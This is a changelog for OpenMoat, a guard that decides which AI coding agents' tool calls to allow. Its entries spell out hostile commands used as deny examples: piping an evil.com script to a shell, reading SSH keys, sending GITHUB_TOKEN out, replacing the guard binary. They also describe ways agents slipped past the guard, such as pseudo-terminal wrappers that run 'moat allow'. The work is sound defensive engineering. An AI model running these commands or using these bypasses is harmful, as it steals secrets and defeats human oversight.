git -C dir push --force,git -c core.sshCommand=… push -f,git --git-dir=x --work-tree=y push origin +mainandgit -C .. reset --hardare denied bydestructive(previously asked), andgit -C crates/x statusis allowed bydev-shell. A-c/--config-envkey that can run a program (anything outside a short inert list such ascolor.*,user.name),--exec-path=and unknown global options keep the command at ask, sogit -c core.fsmonitor='sh -c …' statusandgit -c core.hooksPath=… commitcannot ride on adev-shellallow. -
Here-document bodies with an unquoted delimiter are expanded the way the shell expands them:
$( … ), backticks and$VARinside are classified, socat <<EOFwith a$(curl https://evil.com/x.sh | sh)or$(cat ~/.ssh/id_rsa)line andcurl -d @- … <<EOFwith a$GITHUB_TOKENline are denied (previously allowed bydev-shell, or asked). A shell or interpreter reading stdin runs the body as its program, like a here-string:bash <<'EOF'withcat ~/.ssh/id_rsais denied bysecrets-paths,python3 - <<'EOF'naming a URL bydefault.net. A quoted delimiter (<<'EOF',<<"EOF",<<\EOF) keeps the body literal data. -
destructivedenies every spelling of a force push: a+refspec(git push origin +main,+HEAD:main),--force*/-fafter the remote (git push origin main -f) andfbundled with other short options (git push -uf origin main). Previously only--force*/-f*directly afterpushwere denied and the rest asked (push). -
kernel-selfdenies more pseudo-terminal routes tomoat allow|doctor|init|policy:scriptandexpectby absolute path (/usr/bin/script -q /dev/null moat doctor --accept),python3 -c 'import pty; pty.spawn(["moat", …])',tmux new|send-keys …andscreen -dm …running moat, andosascript -e 'tell app "Terminal" to do script "moat …"'. Previously these asked while the plain forms were denied (ADR-014). -
Lexer:
<<<here-strings are a redirect whose word is stdin data; they were read as a here-document with no terminating line, socat <<< hiandgrep x <<< "$v"wereunparseable(ask). Substitutions and variables in the word are classified (cat <<< "$(curl https://evil.com)"is denied bydefault.net,curl -d @- … <<< "$GITHUB_TOKEN"byenv-secrets), and a shell or interpreter reading stdin runs it as its program (bash <<< 'cat ~/.ssh/id_rsa'is denied bysecrets-paths). -
Shell classification: a shell’s own options are parsed, so
bash -lc '…'(how Codex runs every command),zsh -ic,sh -ec,/bin/bash -lc,bash -c -- '…',bash --login -canddash -o errexit -xcclassify the command string; previously only a literal-cargument was recognised and these asked (default) even when the inner command was denied, such asbash -lc 'cat ~/.ssh/id_rsa'. An option the classifier does not know for that shell makes the commandunparseable.base64 -d f | bash -o pipefailandbash -s argare recognised as reading the program from stdin (pipe-to-shell). -
Cursor:
preToolUseGrepandGlobare file reads of theirpath(else the working directory), like Claude Code’s; previously they were allowed as ungoverned, so a search of~/.aws/credentialswas never checked. -
Claude Code:
Monitor(runs a shell command, or opens a WebSocket) is governed as a shell command or a network action,LSPas a file read, andPowerShellalways asks (unparseable; moat has no PowerShell parser, newAction::ForeignShell). All three were outside the hook matcher and would have been allowed as ungoverned; the matcher now includes them (re-runmoat init;moat doctorreports the old matcher as stale). Conformance fixtures acceptforeign_shell: { shell, command }. -
A glob ending in
/**also matches the directory itself.grep -r . ~/.ssh,rg -uu . ~/.aws,tar czf k.tgz ~/.sshandrm -rf ~/.gnupgare now denied bysecrets-paths; before, the directory operand matched no deny rule.ln -s ~/.ssh ./sis now denied rather than asked. -
Relative paths follow
cd/pushdin the same command line, socd ~ && cat .ssh/id_rsa,cd ~/.config && cat gh/hosts.ymlandcd s && cat id_rsa(through a link) are denied bysecrets-paths; previously the relative path was taken from the session’s directory and only thecditself asked. Every directory the line may be in is checked; subshells restore it; an unknown target (cd "$DIR",cd -,popd,source,eval) makes later relative paths ask (unparseable). -
Relative operands are file actions: words containing
/for any program, and every operand of programs that read or write files (cat,head,grep -r,cp,mv,rm,tee, …). Afterln -s ~/.ssh sin the project,cat s/id_rsa,head s/id_rsa,grep -r . s/andcat k(a link to a key) were allowed bydev-shellbecause they produced nofs.read; onlycat ./s/id_rsawas denied. They are now resolved through the link and denied bysecrets-paths. -
~namepaths in shell commands are home directories:cat ~me/.ssh/id_rsa(your own user) is denied bysecrets-pathsandcat ~alice/.ssh/id_rsais a read of/Users/alice/.ssh/id_rsa(the directory next to your home) that asks. Previously both were reads of<cwd>/~me/…inside the project and were allowed byproject-fs.~+is the working directory;~-asks (unparseable). -
The project root is never the home directory, an ancestor of it or a filesystem root. A session started in
~outside a repository used~as${project}, soproject-fsallowedecho x > ~/.gitconfig,echo x > Library/LaunchAgents/evil.plistand every read in the home directory. Such a session now has no project:${project}patterns match nothing and those actions ask. A dotfiles repository in~no longer becomes the project of every directory below it.EvalContext::projectis now anOption; conformance fixtures acceptcontext: { cwd, project }. -
moat guarddenies with exit 2 when it cannot parse its own arguments: an unknown--host, a missing or misspelt flag, an extra operand. It used to exit 64, and Claude Code and Codex treat any exit other than 2 as a non-blocking hook error, so a broken hook command line let every tool call through (ADR-015). Other commands keep exit 64 for usage errors. -
MCP arguments: nested objects and arrays are searched for path and URL arguments, URL arguments without a scheme are kept as hosts, and arguments that cannot be read (a Cursor
tool_inputstring that is not JSON, more than 1024 derived paths and URLs) are an adapter error, soguarddenies. Previously an unparseable string was treated as no arguments and an allowed tool name such asmcp__filesystem__read_filedecided alone. -
State files are owner-only from creation:
write_privatecreates its temporary file with mode 0600 before writing and new parent directories (such aspolicy.d/) with 0700,moat inittightens an existing state directory, and the audit database is created 0600 before SQLite opens it, so its-waland-shmfiles inherit 0600. Previously files were written first and restricted afterwards,policy.d/was 0755, the WAL files followed the umask, and permission errors were ignored. -
Lexer:
|&is a pipe. It was read as|followed by&, which ended the pipe chain, sobase64 -d payload |& shasked whilebase64 -d payload | shwas denied bypipe-to-shell. -
Host detection: a word with a scheme is a network action whatever its host looks like, so
curl http://intranet/…,http://2130706433/,http://0x7f000001/and IPv6 literals (http://[fd00:ec2::254]/) are denied bydefault.net; previously a host without a dot or with an IPv6 literal produced no network atom and the command only asked. One parser (openmoat_core::host) now serves shell words,WebFetchand MCP arguments; IPv6 hosts are reported without brackets. New ask grouplocal-netkeepslocalhost,127.0.0.1and::1at ask. -
kernel-selfdenies writes to**/bin/moatand**/bin/moat.exe, the binary every installed hook runs (cp /tmp/evil ~/.cargo/bin/moat,curl -o /usr/local/bin/moat …,ln -sf … /opt/homebrew/bin/moat); previously these asked.curl -o FILEandwget -O FILE/--output-document=FILEare now file writes. First attack fixtures for T10 (hook supply chain). -
destructivedenies abbreviated long options ofgit push: git accepts any unambiguous prefix, sogit push --del origin maindeletes the branch, but only--deletewas denied and the prefix asked (push). The patterns are now--de*and--for*; no other push option starts with either.--mirrorand--pruneand their prefixes stay at thepushask (#143). -
Ask fixtures pin that recursive reads of the home directory and
~/.config(grep -r . ~,rg -uu . ~,find ~,tar czf h.tgz ~,cp -r ~,zip -r,rsync -a, andgrep -r . ..from a project in~) ask, anddocs/POLICY.mdsays why a project root holding a.envstays readable bygrep -r TODO .(#143). -
Documented two limits of the shell classifier in
docs/POLICY.md: aCDPATHthe shell inherits is not consulted (setting it on the command line asks), and~nameassumes home directories sit side by side; new ask fixtures pin theCDPATHcases (#143). -
A shell reading stdin after a pipe runs the data a bare
catpasses on from its here-document or here-string, or thatecho/printfprint, as its program:cat <<'EOF' | shwithcat ~/.ssh/id_rsain the body andecho 'cat ~/.ssh/id_rsa' | share denied bysecrets-paths. Previously onlysh <<'EOF'was classified and these asked (#143). -
Lexer:
<<-strips leading tabs from every here-document body line, not only from the delimiter line. A body fed to a shell with a nested here-document whose delimiter was indented (bash <<-'EOF'…\tX…\tcat ~/.ssh/id_rsa) wasunparseable(ask); it is now classified and denied bysecrets-paths(#143). -
kernel-selfalso denies writes to Scoop’s install of the binary: theapps/moat/currentjunction hooks run through andapps/moat/<version>/moat.exe(cp evil.exe C:/Users/me/scoop/apps/moat/current/moat.exe,rm -rf …/apps/moat/current).**/bin/moat.exedid not match them, so these asked (ADR-016, #142). -
Codex: the hook matcher is now
Bash|apply_patch|mcp__.*(re-runmoat init;moat doctorreports the old matcher as stale).apply_patchfile edits become a newAction::Patch { writes }with every added, updated, deleted or moved-to file checked asfs.write(a patch naming no file asks), and Codex MCP calls are mapped like Claude Code’s. Previously Codex file edits and MCP calls were never seen. Conformance fixtures acceptpatch: [paths]. -
Default policy:
env-poisonalso denies settingMOAT_*variables (MOAT_HOMErelocates the kernel’s state;MOAT_ASSUME_TTYis a debug-build test override). -
kernel-selfprotects the state and host directories themselves (~/.moat,~/.claude,~/.codex,~/.cursor, and.moat/.claude/.codex/.cursorin projects):mv ~/.moat /tmp/x,ln -sfn /tmp/evil ~/.moat,rm -rf ~/.claudeandmv .claude .claude-offare denied; previously only files inside them were protected and these asked.mvnow treats its source as a write. The policy lock reports a pinned file as modified when a directory on its path was replaced by a link; previously the changed location was reported as intact. -
dev-shellno longer allows options that run another program or write files:find -exec/-execdir/-ok/-okdir/-delete/-fprint*/-fls,rg --pre,git --upload-pack/--receive-pack,go -exec/-toolexec/-vettool,cargo --confignow ask. The command afterfind -execis classified (sofind . -exec sh -c 'curl … evil.com' \;is denied bydefault.net), and--output=FILEis a file write (sogit diff --output=~/.zshrcis denied byshell-rc). Previously all of these were allowed bydev-shell. -
kernel-selfdeniesscript,expectandunbufferwrapped aroundmoat allow|doctor|init|policy(BSD and Linuxscriptforms,expect -c 'spawn …', absolutemoatpaths); they gave the command a pseudo-terminal to pass the terminal-only check and previously only asked (ADR-011). -
pipe-to-shellnow covers decoded or decompressed content piped into any shell or interpreter reading stdin:base64 -d file | bash,base64 -D,openssl enc -d … | sh,xxd -r -p x | bash,gunzip -c x.gz | tr … | sh,… | base64 --decode | python3 -; andcurl/wgetoutput piped intozsh,dash,ksh,fish,python*,node,perl,ruby,php,deno,bun,pwsh. Previously onlybase64 -d|--decodedirectly followed bysh/bashwith no file argument, andcurl/wgetintosh/bash, were denied; everything else asked. -
moat guardresolves symlinks in every path a tool call reads or writes and checks the resolved path as well as the literal one, strictest wins: afterln -s ~/.ssh ./s,cat ./s/id_rsa,echo … >> s/authorized_keysand aReadofproj/s/id_rsaare denied bysecrets-paths; previously they were allowed byproject-fs. New files resolve through their directory, dangling links through their target. Conformance fixtures acceptlinks:(ADR-009). -
Default policy: new deny group
env-dumpforenv,printenv,set,export,declareandtypesetrun with no arguments (or only-0/-p/-x), including/usr/bin/env; they printed every secret in the environment and only asked.printenv NAMEis now anenv.readofNAME, soprintenv GITHUB_TOKENis denied byenv-secrets. -
Exit code 2 is reserved for
deny; usage errors use 64 so a host never mistakes a crash for a block. -
Secret paths are protected against writes as well as reads.
- A
$inside single quotes is no longer anenv.read(#237): the shell does not expand it, sosed -n '$p' f,sed -e '$d'andawk '{print $NF}' fare allowed bytext-toolsinstead of asking. The lexer records which part of each word came from single quotes. Unquoted and double-quoted variables ("$AWS_SECRET_ACCESS_KEY"), unquoted here-document bodies,$'…'and code run by another shell (sh -c 'echo $SECRET',eval '…') are still reads. - A copy or move into a directory is a write of the entry it creates, not of the directory (#224,
shell/copy.rs):cp f ~/,mv f ~,cp -t ~ f,rsync -a dist ~/andcp -r assets /ask again instead of being denied bydestructive, andcp .zshrc ~/is denied byshell-rc.-t DIR/--target-directoryare read forcp,mvandln, socp --target-directory=.claude settings.local.jsonis denied bykernel-self(it was allowed as a project write). Replacing the directory itself stays denied (mv ~ /tmp/x,touch ~), and so does a copy whose names are not on the command line (rsync -a dist/ ~/,cp * ~/). - A project reached through a symlinked directory (macOS
/tmp→/private/tmp,~/code→/Volumes/dev/code) asked for in-project reads and writes whose path was written in its resolved form (cat /private/tmp/x/awith--project /tmp/x). The CLI now passes the resolved project and home roots to the core (EvalContext::real_project,real_home) and patterns naming${project}or~match under both spellings, exclusions included; deny rules match at least as much as before. Conformance fixtures acceptreal_projectandreal_homeincontext:(#110). moat allow --alwayson a git command with global options (git -C crates/x status) stored a rule that could never match, because the classifier reports the command asgit statusand checkscrates/xas a read. The approval now names the subcommand the same way. When an option can run a program (-c core.fsmonitor=…), the command line is kept as written, as the classifier does. Found by theliteral_patternfuzz target.moat policy checkagainst the installed policy verifiespolicy.lockfirst, likeguard, and reports thekernel-integritydeny (exit 2) when a pinned file changed; it used to report the policy’s own verdict, e.g.allowfor a callguarddenied.moat initlists the events it installed for each host (PreToolUse, ConfigChangefor Claude Code, Cursor’s fourbefore…/preToolUseevents) instead ofPreToolUsefor every host.moat statusreports a missing lock as missing, pointing tomoat init, instead of a rawos error 2.moat allow <cmd>without--sessionnames the choices (--hostand--session,--always, or--last) instead of claiming--session needs --host;moat allow --lastsays the last ask “wanted to run” its command rather than that it ran; andmoat allow --alwayswarns when a deny rule already covers the new rule, so it can never decide anything (the rule is still written).moat show | headexits 0 quietly when the reader closes the pipe instead of printingmoat: Broken pipe (os error 32)and exiting 64, and the id column of theshowandstatustables is padded so rows line up with the header.moat status,init,doctor,allowandpolicy lintalso exit 0 quietly on a closed pipe (moat status | head -1); they printed withprintln!, which panicked and exited 101.init,allowanddoctor --acceptfinish writing files and re-pinning the lock before they stop.moat guardstill denies with exit 2 when it cannot write its response, including after an internal error (ADR-015) (#141).- Error messages name their cause once:
PolicyError,HostErrorandStoreErroralready include the cause in their message and no longer also expose it assource, somoat policy lintandguardreasons stopped repeating it (expected ident at line 1 column 2: expected ident at line 1 column 2).PolicyError::BadGlob’s field is nowerror. A hook payload that is valid JSON of the wrong shape is reported aspayload is JSON but does not fit the hook schemainstead ofpayload is not valid JSON; it is still denied with exit 2. - Hooks survive package-manager upgrades:
moat initwrites the stable install path (Homebrew/Linuxbrew<prefix>/bin/moat, Scoopapps/moat/current, or the linkmoatwas started by) into hooks and the lock, and only when it resolves to the running binary. Previously it wrotecurrent_exe(), which on Linux is the versionedCellar/moat/<version>file;brew upgradeandbrew cleanupdeleted it, the hook could not start and Claude Code and Codex ran the tool call unchecked.moat doctorandmoat statusnow say when a hook’s binary does not exist or is a differentmoatthan the one checking (Cursor hooks included; they showed?). Re-runmoat initonce after upgrading (ADR-016). - CI: the fuzz smoke job failed on every run since fuzzing landed. The repository’s
rust-toolchain.tomlpins 1.95, that pin also applied insidefuzz/, andcargo fuzzneeds nightly-Zflags.fuzz/rust-toolchain.tomlnow pins the nightly for that workspace, so a plaincargo fuzz runworks locally too. - Claude Code
ConfigChange: the payload current Claude Code sends (nochange_type,file_pathoptional) is accepted; previously every real settings change, including the user’s own “always allow” writes, was deniedkernel-errorwith exit 2. A change that names no file is blocked only when a pinned file no longer matches the lock. AConfigChangepayload that cannot be parsed is now refused as{"decision":"block"}instead of aPreToolUsedocument. - A command containing a backslash (
echo C:\\temp) mademoat allow --alwayswrite a glob with a dangling escape, so the overlay failed to lint and every following call was denied until it was edited by hand; an escaped separator word (Z;\&;\&) made the classifier panic (pipeline slice out of range), whichguardturned into a deny. Both found by fuzzing. On Windows, a backslash in a shell rule word never matched, because globset rewrites\to/in every candidate; rules like a deny ondel 'C:\\Windows\\*'were silently dead there. Shell words now match byte for byte on every platform, and a backslash escapes the next character everywhere. moat policy checkdecides the wayguarddoes: symlinks in checked paths are resolved, and programs are resolved through the installation snapshot when~/.moat/environment.jsonexists (so policyexecutables:pins are checked against real locations instead of reporting “not found”).moat doctor --acceptrefuses to pin a policy that does not lint, and clears only lock and binary problems after re-pinning (typed checks instead of matching message prefixes).- Audit log: an event whose stored action cannot be decoded is shown as
(action unreadable)byshow,replayandreport(and carriesaction_unreadablein JSON) instead of looking like an ungoverned tool; verdicts are decoded throughVerdict. moat allow --alwaysstores the command as a literal pattern (cat *becomescat [*]; a leading!or trailing$stays literal); previously glob characters widened the permanent rule. New overlay ids are one past the highest existingapproved-N; previously deletingapproved-1made the next approval reuse an existing id, the policy failed to lint andguarddenied everything until the overlay was fixed by hand.moat policy checktakes--projectand--cwdas lexically absolute paths, likeguardtakes the host’scwd; it used to canonicalise them, so on macOS (/tmp→/private/tmp) and Windows (8.3 short names,\\?\prefix) a file inside the project no longer matched${project}rules. Windows: canonical paths no longer carry the\\?\verbatim prefix, so lock keys and symlink resolution stay stable; program resolution honoursPATHEXT(recorded inenvironment.jsonatmoat init; older snapshots fall back to.com;.exe;.bat;.cmd). Lock files written on Windows by earlier builds drift once and must be re-pinned withmoat doctor --accept.- Shell classification:
make/gmakearguments that run code (--eval/-E,-e,SHELL=,.SHELLFLAGS=,MAKEFLAGS=,NAME!=cmd,$(shell …)in variable values) are classified on their own, somake test SHELL=/tmp/xandmake test --eval 'x:;cat ~/.ssh/id_rsa'no longer pass asmake test*(dev-shell); embedded commands are evaluated like any other,--file=/--directory=values are file reads. moat guarddenies (kernel-error, exit 2) when the audit log cannot be opened or written, when the hook response cannot be written to stdout, or when the kernel itself panics; previously an unavailable log printed a warning and the call proceeded unrecorded, and a panic exited 101, which Claude Code treats as non-blocking.guardno longer recreates a deletedaudit.db; onlymoat initcreates it.- Host detection: a bare dotted token without a scheme is a host only when its last label is a known top-level domain, so
python -c "import sys; print(sys.version)",node -e "console.log(process.version)"andgit commit -m fix.bugno longer produce a network atom (and a falsedefault.netdeny). Tokens with a scheme and IPv4 literals are unchanged. - Shell classification:
pnpm exec|dlx,yarn exec|dlx,npm exec|x,bun x,npxandbunxare treated as wrappers, so the program they run is classified on its own (pnpm exec sh -c '…'parses the shell string);-c/--callstrings given to package runners are parsed as shell. Previously the whole command matched the outerpnpm *allow rule. - Policy lock: a pinned file replaced by a symlink (or a re-pointed link) is now reported as modified and denies with
kernel-integrity; previously the swapped file was treated as unpinned and the kernel ran under the attacker’s policy. - Shell classification: tokens that traverse (
src/../x) or name a hidden entry (.env,config/.env.local,.ssh/id_rsa) are now treated as paths, socat .envandcat src/../../.ssh/id_rsaproduce file-read atoms and hitsecrets-paths; previously only tokens starting with/,~,./or../did and such commands were allowed bydev-shell. - Audit redaction now runs on the structured action before it is JSON-encoded. Previously it ran on the encoded text, where escaped quotes broke the patterns: a command such as
curl -H "X-Api-Key: …"was stored as invalid JSON (makingmoat show,replayandreportfail for the whole window) andexport PASSWORD="…"kept the secret. Rows with an unparsable action cell are now read with the action omitted instead of failing the query.
Changed
Section titled “Changed”- Renamed to OpenMoat, by Crocodile Labs (#122). The repository moved from
agentmoat/moat-kerneltocrocodile-labs/openmoat(old URLs redirect) and the Homebrew tap tocrocodile-labs/homebrew-tap(brew install crocodile-labs/tap/moat). Before the first crates.io publish the packages becomeopenmoat-core,openmoat-hosts,openmoat-audit,openmoat-proxyandopenmoat(wasmoat-kernel;cargo install openmoat, installersopenmoat-installer.shand.ps1). Nothing changes at run time: the binary is stillmoat, with the same subcommands,~/.moat,MOAT_HOMEand otherMOAT_*variables, hook commands and paths, policy and audit schemas, rule ids and exit codes. Hooks installed by earlier builds keep working. Onlymoat --help,moat --versionand thekernel-selfreason now say OpenMoat. - Crate folders are
crates/openmoat-*to match their package names, and the docs, CLI help, comments and messages call the product OpenMoat (the command staysmoat;~/.moat,MOAT_*, hook commands, rule ids and the audit tags are unchanged). - Default policy: new
text-toolsallow group forsort,uniqandcut(#212), which asked before. Their options are read the way getopt reads them (shell/text.rs): an option value is data, not a file (cut -d '/' -f 2 xno longer reads/),sort -o/--output/-Tanduniq’s second operand arefs.writes (inside the project allowed,sort -o ~/.zshrcdenied byshell-rc), and an option the classifier does not know (--compress-program,--files0-from, a GNU abbreviation) becomes a<program> @<option>shell action that the group excludes, so it asks. text-toolsalso allowssed(#212):sed -n 1,20p f,sed 's/a/b/' fandsed -n '/a/,/b/p' fon project files no longer ask. Scripts that run a command or cannot be read still ask (sed @<script>).-i/--in-placewrites every file operand and its backup (-i.bak), so an in-place edit inside the project is allowed andsed --in-place … ~/.zshrcis denied byshell-rc.-iin a cluster (-ni) and--in-placeare now writes too; before, only words starting with-iwere. A bare-ifollowed by a script (sed -i 's/a/b/' f, which BSD sed reads as a suffix) asks.text-toolsalso allowsawk(#212):awk '{print $1}' fandawk -F, '$3 > 100 {print $1}' fno longer ask, and the program’s words are not file reads. A program withsystem, a pipe,getline,ENVIRON,ARGV,@or a>afterprint, a-fprogram file and options other than-F/-vbecome anawk @<text>shell action, which asks (shell/awk.rs). Words after the program are files even when they look like options.- Performance:
moat guarddecides about 5× faster. A release build on an Apple-silicon laptop went from a median of 14.5 ms (p95 15.6 ms) to 2.7 ms (p95 2.9 ms) for an allowedgit status, measured by the audit’slatency_us. End to end, including process start and the audit write, p95 went from 21.8 ms to 8.1 ms. Loading the policy used to build a regex for every pattern twice, once to lint it and once to compile it for the session. Now shell words without glob syntax (git,push,--force) compare as plain strings. Every other pattern is still parsed up front, so a bad pattern fails as before, but its regex is only built the first time a decision consults it. Decisions are unchanged. show --format jsonandreplay --format jsonwrite event ids as the hex string text output prints andmoat show <id>takes ("id": "1f"), not as a decimal number. Integer ids still deserialise.- Default policy
dev-shellallowscd,pushd,popd,mkdir,touch,cp,mv,rm,git checkout,jq,trueandpython3 -m pytest. Each of these asked before, which madecd src && cargo testand ordinary file moves the most common prompts. Their path operands are fs actions that followcdand symlinks, so writes outside the project ask, and protected paths are still denied. Recursiverm,git checkout .,git checkout -- …and forced checkouts still ask. The README no longer claims thatpnpm,yarnandcargoinstalls are allowed; they ask. - Policy: new kind
fetchfor a URL read by a host’s own fetch tool (Claude CodeWebFetch, newAction::FetchandAtomicAction::Fetch). It is a narrower kind ofnet:netpatterns in every list match it too,fetchpatterns match nothing else, anddefaults.netapplies whendefaults.fetchis unset. The default policy setsfetch: ask, so aWebFetchof an unlisted host (https://docs.rs/…) now asks instead of being denied bydefault.net;curl,wget,nc, aMonitorWebSocket and MCP URL arguments to the same host stay denied, andregistriesstill allows both (ADR-017). Schema v1 gains the optionalfetchkey in rule groups anddefaults;moat policy check --kind fetchand conformance fixtures (fetch: <url>) accept it. Policies without the key behave as before, since a fetch then takes thenetrules and default.moat showdescribes aMonitorWebSocket asnet <url>and aWebFetchasfetch <url>. - Fuzzing:
fuzz/addscargo fuzztargets for the command classifier, policy loader, host payload adapters and approved-command patterns, seeded from the conformance fixtures; CI runs them on every pull request and longer weekly. - The default policy moved to
crates/openmoat-core/policies/default-v1.yamland is exported asopenmoat_core::DEFAULT_POLICY. The binary crate read it from outside its crate, so it could not be published; every crate now packages and builds from its tarball, and CI checks that on each PR (cargo package --workspace). - Package metadata: the
openmoatdescription no longer claims OpenClaw support. It says what ships in this alpha: allow, ask or deny for Claude Code, Codex and Cursor tool calls, the Claude Code and Codex sandboxes configured from the same policy, and an audit log. Thesandboxkeyword is replaced byguardrails. Every package ships the README and both licence files. Indeny.toml, thetokioandreqwestbans named a binary crate that does not exist. With the name fixed, the bans let only the binary crate pull those crates in, as intended. - Policy:
approval:andscope:are reserved. They were parsed but never consulted; they remain accepted so existing files stay valid,moat policy lintnow warns that they have no effect, and the default policy no longer writes anapproval:block. openmoat-coreAPI: typedKind(withFromStr) replaces kind strings inAtomicAction::kind,Action::kind,Defaults::for_kindand the newRuleGroup::patterns;EvalContext::case_insensitive_pathsreplaces a compile-time platform switch inside the core (the CLI sets it for macOS and Windows).openmoat-coreAPI:VerdictimplementsFromStr(UnknownVerdict);Decision::singlebuilds a one-rule decision. Internally one generic matcher replaces the duplicated glob and shell list matching, and one helper splits!exclusions.openmoat-coreexposes only its API (Action,CompiledPolicy,EvalContext,Policy,RuleGroup,Decision,Verdict, the resolver traits,lint,literal_shell_pattern); the lexer, classifier, pattern, path and host modules are internal.moat allow --alwaysusesliteral_shell_patternfrom the core.- Conformance fixtures carry
threat: T1…T12(required for attacks and asks);docs/COVERAGE.mdis generated from them and the suite fails when it is stale or a threat class has no attack fixture. - ADR-013: alpha releases are decide-only and say so; OS enforcement gates the beta and MoatBench gates 1.0 (supersedes the release clause of ADR-003).
moat allowandmoat doctor --acceptsuccess paths are covered end to end (tests/allow.rs): session grant via--lastand explicit--session,--alwaysoverlay with lock re-pin,doctor --acceptafter an owner edit. Debug builds honourMOAT_ASSUME_TTY=1for these tests; release builds do not contain the override.- Default policy: new allow group
dev-readonly(wc,diff,tree, read-onlydocker ps/images/logs/version,gh pr/issue/run/repoview and list commands, reads ofPATH,HOME,USER,SHELL,PWD,LANG,TERM,TMPDIR,EDITOR);--output/-oforms are excluded. The benign conformance corpus grows from 34 to 87 fixtures. - Shell pattern lists accept
!exclusions, with the same semantics as glob lists (ADR-012). moat policy lintprints warnings (exit 0) foraskpatterns anallowpattern already covers,allowpatterns adenypattern covers, and unknowndefaultskinds;executablespaths in Windows form (C:/…) are accepted as absolute.- Shell patterns: a trailing bare
$anchors the end of argv (env $matchesenvbut notenv FOO=1 cmd);$elsewhere is literal and a pattern of only$fails lint (ADR-010). - Default policy:
dev-shelllists explicit subcommands instead ofpnpm *,yarn *,cargo *,make *, so theinstallsandpushask rules are reachable again (cargo add/install/publish,pnpm add/install,yarn add/installnow ask;npx/dlxask). Newdev-toolsallow group (tsc,eslint,prettier,vitest,jest,ruff,mypy, …).destructivematchesrm -rf /*literally (no longer every absolute path), adds-frvariants,--no-preserve-root,git branch -D,git stash drop/clear.kernel-selfalso matchesmoatrun by absolute path.secrets-pathsadds.envrc. - Project standards:
AGENTS.mdcontract, CONTRIBUTING, SECURITY, Code of Conduct, pinned-SHA workflows, Conventional Commits PR titles, Dependabot, CODEOWNERS, issue forms, PR template, single quality-gate script, clippy thresholds, rustdoc-D warnings, architecture tests, ADR-001…004. - CI:
pr-standardsappliestype:/area:/size:/risk:labels from the title and changed paths, fails PRs over 500 lines (unlesssize: override) or without Testing and Security impact sections; labels are defined inscripts/ci/sync-labels.sh. - CI:
moat-reviewerGitHub App posts an advisory first-pass review on every pull request (pr-review.yml);@moat-reviewerre-runs it. - Dependencies: rusqlite 0.40, sha2 0.11, actions/checkout v7.0.1, action-semantic-pull-request v6.1.1.
- Windows: canonical slash-separated paths keep
C:/and UNC roots. - Documentation restructured for the decide-only alpha (#94). New
docs/ROADMAP.md,docs/ARCHITECTURE.md,docs/THREAT_MODEL.mdand an ADR index (docs/adr/README.md).docs/OVERVIEW.md,DESIGN.md,STRENGTH.md,PROGRESS.md,TECH_STACK.mdandREPO_STRUCTURE.mdare retired; what was still true moved into the new documents. README:git cloneinstall step,CLAUDE_CONFIG_DIR, examples checked against the default policy. SECURITY.md: supported versions (latest alpha only).moat --helpsays what the operating system does and does not enforce.